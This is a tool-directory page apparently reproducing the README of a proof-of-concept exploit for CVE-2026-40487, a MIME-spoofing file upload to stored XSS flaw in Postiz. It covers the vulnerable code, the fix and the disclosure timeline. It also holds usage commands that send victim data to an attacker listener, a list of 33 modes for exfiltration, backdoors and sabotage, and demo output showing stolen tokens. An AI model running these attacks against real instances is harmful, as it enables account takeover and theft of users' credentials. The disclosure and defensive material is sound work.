Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40487 — Proof-of-concept exploit for CVE-2026-40487, demonstrating arbitrary file upload via MIME spoofing leading to stored XSS and account takeover in Postiz. Includes multiple attack modes for data exfiltration, privilege escalation, and persistence. | Kitploit
Tools/GitHubGitHub/astaruf/cve-2026-40487
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Proof-of-concept exploit for CVE-2026-40487, demonstrating arbitrary file upload via MIME spoofing leading to stored XSS and account takeover in Postiz. Includes multiple attack modes for data exfiltration, privilege escalation, and persistence.

View Repository
34 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-40487 - Postiz <= 2.21.5 - Arbitrary File Upload via MIME-Type Spoofing to Stored XSS to Account Takeover

Discovered & reported by: Astaruf

Full writeup: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

GHSA entry: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-40487


Summary

Postiz is an open-source social media management tool with 28+ platform integrations (Instagram, X, LinkedIn, Facebook, TikTok, etc.), used by 600+ instances exposed on the internet.

A low-privileged attacker can upload a malicious SVG (or HTML) file with a spoofed Content-Type: image/png header. The server accepts the file without inspecting its actual content, preserves the original extension, and nginx serves it with the Content-Type derived from that extension (image/svg+xml). When a victim opens the URL, the embedded JavaScript executes in the application's origin, giving the attacker full session riding capabilities equivalent to account takeover.

The attack chain:

root@kitploit:~
Attacker uploads .svg with Content-Type: image/png
  -> Server validates only the Content-Type header (CWE-345)
    -> File saved to disk with original .svg extension (CWE-434)
      -> nginx serves it as image/svg+xml
        -> Browser executes embedded JavaScript (CWE-79)
          -> Same-origin: full access to victim's session

Impact

The XSS payload executes same-origin with the application. Even though the auth cookie is HttpOnly, fetch() with credentials: "include" automatically attaches it. The attacker can:

  • Exfiltrate the victim's profile, API keys, OAuth tokens for all connected social accounts
  • Read, create, modify, and delete scheduled posts across all platforms
  • Invite the attacker as admin in the victim's organization
  • Create a persistent OAuth backdoor (pos_* token that never expires and survives password changes)
  • Disable notifications, wipe configurations, force logout
  • Execute arbitrary authenticated API calls as the victim

Vulnerability Details

Three components fail independently, creating the exploit chain:

1. MIME-Type Validation Trusts Client Input (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype comes from the Content-Type header in the multipart request, which the attacker controls. No magic byte inspection, no use of libraries like file-type.

2. Original Extension Preserved on Disk (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extracts the extension from the client-supplied filename. No check for consistency between declared MIME type and extension. The server also returns the full public URL in the response, so the attacker gets the link to send to the victim.

3. nginx Serves with Extension-Derived Content-Type

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx maps .svg to image/svg+xml, .html to text/html. No Content-Security-Policy, no X-Content-Type-Options: nosniff, no Content-Disposition: attachment.

Proof of Concept

Requirements

root@kitploit:~
Python 3.8+
pip install requests

Quick Start

root@kitploit:~
# 1. Check if target is vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrate everything from the victim
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Create a persistent backdoor
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Reuse the token without credentials
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Attack Flow

root@kitploit:~
Attacker                    Server Postiz              Victim
    |                              |                        |
    |-- 1. Login/Register -------->|                        |
    |-- 2. Upload SVG malevolo --->|                        |
    |<---- URL del file -----------|                        |
    |-- 3. Send URL to victim --------------------------->  |
    |                              |<--- 4. Opens URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS executes, exfils data -----------|

All Attack Modes (33)

Exfiltration (19 modes) - steal victim data
ModeDescription
dump-selfVictim profile, org info, tier, API key
dump-personalDisplay name, bio, profile picture
dump-integrationsConnected social media integrations and tokens
dump-postsScheduled and draft posts (last 365 days)
dump-teamTeam members, roles, and email addresses
dump-mediaMedia library listing
dump-notificationsNotification history
dump-signaturesPost signatures
dump-webhooksConfigured webhooks and their URLs
dump-oauth-appOAuth app credentials (clientId, secret)
dump-copilotAI copilot conversation threads
dump-billingBilling and subscription info
dump-settingsShortlink and notification settings
dump-third-partyThird-party integration configs
dump-autopostAutopost rules
dump-setsContent sets
dump-tagsPost tags
dump-customersCustomer list
full-dumpAll of the above in a single payload
Privilege Escalation (3 modes)
ModeDescription
add-adminInvite attacker as ADMIN in victim's org (--attacker-email)
rotate-keyRotate org API key and exfiltrate it
rotate-oauthRotate OAuth app secret and exfiltrate it
Sabotage (9 modes) - destructive actions
ModeDescription
kill-notificationsDisable all email notifications
edit-profileModify victim's name and bio (--edit-name, --edit-bio)
wipe-signaturesDelete all post signatures
wipe-webhooksDelete all webhooks
wipe-tagsDelete all tags
wipe-setsDelete all content sets
wipe-autopostDelete all autopost rules
logout-victimForce-logout the victim
delete-oauth-appDelete victim's OAuth application
Backdoor (2 modes) - persistent access
ModeDescription
create-oauth-appCreate OAuth app, auto-approve, exfiltrate persistent pos_* token (--oauth-redirect)
steal-cookieSteal auth JWT via document.cookie (when NOT_SECURED=true)
Generic (2 modes) - advanced
ModeDescription
api-callArbitrary authenticated API call (--api-method, --api-path, --api-body)
customExecute arbitrary JavaScript (--custom-js)

Additional Options

OptionDescription
--checkProbe if the target is vulnerable (no attack executed)
--registerRegister a new account before login
-t / --tokenUse API key or pos_* token instead of credentials
--format htmlUse HTML payload instead of SVG
--proxyRoute traffic through HTTP/SOCKS proxy (e.g. Burp Suite)
-o / --outputSave loot to JSON file

Demo

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload

[*] Logging in as [email protected] ...
[+] Authenticated.
[*] Generating payload: Exfiltrate everything in a single payload
[*] Uploading malicious .svg with Content-Type: image/png ...
[+] Upload successful.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Starting exfiltration listener on 0.0.0.0:8888 ...

=================================================================
  Send this URL to the victim:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] Waiting for victim to open the link ...

[+] Loot received @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Loot received @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Loot received @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

Fix

Version 2.21.6 introduced three changes:

  1. Magic byte validation using the file-type library to inspect actual file content
  2. Explicit MIME type allowlist (no more image/* catch-all)
  3. Extension override based on detected content type

Timeline

DateEvent
2026-04-10Vulnerability discovered during source code review
2026-04-10Reported via GitHub Security Advisory (GHSA)
2026-04-10Developers acknowledged and requested clarification
2026-04-10Detailed attack scenarios and Shodan data provided
2026-04-11CVSS dispute submitted with evidence
2026-04-13Fix released in v2.21.6
2026-04-14CVE-2026-40487 assigned
2026-04-15Public disclosure

References

  • Full Astaruf writeup
  • CVE-2026-40487 - GHSA Security Advisory
  • CVE-2026-40487 - NVD entry
  • Postiz - Official Repository
  • Postiz v2.21.6 - Fix Release
  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • CWE-79: Stored Cross-Site Scripting
  • OWASP - Unrestricted File Upload

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Use it only against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

License

MIT

Download Tool